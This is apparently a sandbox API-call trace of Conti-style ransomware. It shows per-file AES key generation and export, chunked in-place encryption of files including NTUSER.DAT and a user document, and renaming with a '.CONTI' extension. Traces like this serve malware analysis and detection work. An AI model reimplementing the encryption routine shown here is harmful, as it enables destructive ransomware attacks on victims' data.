	[0114.972] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20
	[0114.973] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.973] GetLastError () returned 0x5
	[0114.973] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.973] GetProcessHeap () returned 0x1720000
	[0114.973] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f7f0 | out: hHeap=0x1720000) returned 1
	[0114.973] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.973] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d9730 | out: phKey=0x65d9730*=0x6b7f2b8) returned 1
	[0114.973] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d9734, pdwDataLen=0x393fdd4 | out: pbData=0x65d9734*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.974] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20
	[0114.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.975] GetLastError () returned 0x5
	[0114.975] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.975] GetProcessHeap () returned 0x1720000
	[0114.975] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fa70 | out: hHeap=0x1720000) returned 1
	[0114.976] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.976] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65dd280 | out: phKey=0x65dd280*=0x6b7f1f8) returned 1
	[0114.976] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd284, pdwDataLen=0x393fdd4 | out: pbData=0x65dd284*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.976] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20
	[0114.977] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.978] GetLastError () returned 0x5
	[0114.978] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.978] GetProcessHeap () returned 0x1720000
	[0114.978] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560ae0 | out: hHeap=0x1720000) returned 1
	[0114.978] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.978] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65dc718 | out: phKey=0x65dc718*=0x6b7f4f8) returned 1
	[0114.978] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc71c, pdwDataLen=0x393fdd4 | out: pbData=0x65dc71c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20
	[0114.980] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.980] GetLastError () returned 0x5
	[0114.980] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.980] GetProcessHeap () returned 0x1720000
	[0114.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9220 | out: hHeap=0x1720000) returned 1
	[0114.980] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.980] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65de278 | out: phKey=0x65de278*=0x6b7f338) returned 1
	[0114.980] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de27c, pdwDataLen=0x393fdd4 | out: pbData=0x65de27c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.981] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20
	[0115.454] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.454] GetLastError () returned 0x5
	[0115.480] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0115.480] GetProcessHeap () returned 0x1720000
	[0115.480] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bd70 | out: hHeap=0x1720000) returned 1
	[0115.480] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0115.480] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b51288 | out: phKey=0x6b51288*=0x6b7f6b8) returned 1
	[0115.480] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5128c, pdwDataLen=0x393fdd4 | out: pbData=0x6b5128c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0115.481] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b")) returned 0x20
	[0115.481] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0115.482] GetLastError () returned 0x0
	[0115.482] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=26125796) returned 1
	[0115.482] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ea5e4
	[0115.482] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.482] SetEndOfFile (hFile=0x2e8) returned 1
	[0115.482] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.482] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.482] WriteFile (in: hFile=0x2e8, lpBuffer=0x6b5128c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b5128c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.485] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.485] ReadFile (in: hFile=0x2e8, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x500000, lpOverlapped=0x0) returned 1
	[0117.855] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000) returned 1
	[0117.861] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.861] WriteFile (in: hFile=0x2e8, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x500000, lpOverlapped=0x0) returned 1
	[0121.384] ReadFile (in: hFile=0x2e8, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x500000, lpOverlapped=0x0) returned 1
	[0123.729] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000) returned 1
	[0123.736] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.736] WriteFile (in: hFile=0x2e8, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x500000, lpOverlapped=0x0) returned 1
	[0126.578] ReadFile (in: hFile=0x2e8, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x500000, lpOverlapped=0x0) returned 1
	[0127.408] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000) returned 1
	[0127.414] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.414] WriteFile (in: hFile=0x2e8, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x500000, lpOverlapped=0x0) returned 1
	[0129.936] ReadFile (in: hFile=0x2e8, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x500000, lpOverlapped=0x0) returned 1
	[0131.703] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x500000) returned 1
	[0131.709] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.709] WriteFile (in: hFile=0x2e8, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x500000, lpOverlapped=0x0) returned 1
	[0132.666] ReadFile (in: hFile=0x2e8, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x4ea5e4, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x4ea5e4, lpOverlapped=0x0) returned 1
	[0133.951] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x4ea5e4, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x4ea5f0) returned 1
	[0133.958] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.958] WriteFile (in: hFile=0x2e8, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x4ea5f0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x4ea5f0, lpOverlapped=0x0) returned 1
	[0135.861] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.861] WriteFile (in: hFile=0x2e8, lpBuffer=0x6b51280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b51280*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0135.861] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.861] CloseHandle (hObject=0x2e8) returned 1
	[0136.364] GetProcessHeap () returned 0x1720000
	[0136.364] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0136.611] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B"
	[0136.611] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.CONTI"
	[0136.611] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b.conti")) returned 0
	[0136.611] GetProcessHeap () returned 0x1720000
	[0136.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0136.611] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0136.611] GetProcessHeap () returned 0x1720000
	[0136.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173bbd0 | out: hHeap=0x1720000) returned 1
	[0136.611] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.711] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f050 | out: phKey=0x6b4f050*=0x6b7f6b8) returned 1
	[0137.711] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f054, pdwDataLen=0x393fdd4 | out: pbData=0x6b4f054*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.727] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat")) returned 0x20
	[0137.728] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.728] GetLastError () returned 0x0
	[0137.728] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=262144) returned 1
	[0137.728] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x40000
	[0137.728] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.728] SetEndOfFile (hFile=0x438) returned 1
	[0137.729] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.729] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.729] WriteFile (in: hFile=0x438, lpBuffer=0x6b4f054*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f054*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.730] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.730] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x40000, lpOverlapped=0x0) returned 1
	[0137.733] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x40000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x40010) returned 1
	[0137.733] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.733] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x40010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x40010, lpOverlapped=0x0) returned 1
	[0137.734] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.734] WriteFile (in: hFile=0x438, lpBuffer=0x6b4f048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f048*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0137.734] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.734] CloseHandle (hObject=0x438) returned 1
	[0137.734] GetProcessHeap () returned 0x1720000
	[0137.734] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.734] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT") returned="C:\\Users\\Default\\NTUSER.DAT"
	[0137.734] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT.CONTI"
	[0137.734] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.CONTI" (normalized: "c:\\users\\default\\ntuser.dat.conti")) returned 1
	[0137.735] GetProcessHeap () returned 0x1720000
	[0137.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.735] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.735] GetProcessHeap () returned 0x1720000
	[0137.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7f0f8 | out: hHeap=0x1720000) returned 1
	[0137.735] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.735] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x6b7f6b8) returned 1
	[0137.735] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x393fdd4 | out: pbData=0x6b5203c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.736] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ytl6dzz34tibpewiqgs.doc")) returned 0x20
	[0137.736] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ytl6dzz34tibpewiqgs.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.736] GetLastError () returned 0x0
	[0137.736] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=31469) returned 1
	[0137.736] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7aed
	[0137.736] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.736] SetEndOfFile (hFile=0x438) returned 1
	[0137.737] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.737] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.737] WriteFile (in: hFile=0x438, lpBuffer=0x6b5203c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b5203c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.738] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.738] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x7aed, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x7aed, lpOverlapped=0x0) returned 1
	[0137.739] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x7aed, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x7af0) returned 1
	[0137.739] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.739] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x7af0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x7af0, lpOverlapped=0x0) returned 1
	[0137.739] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
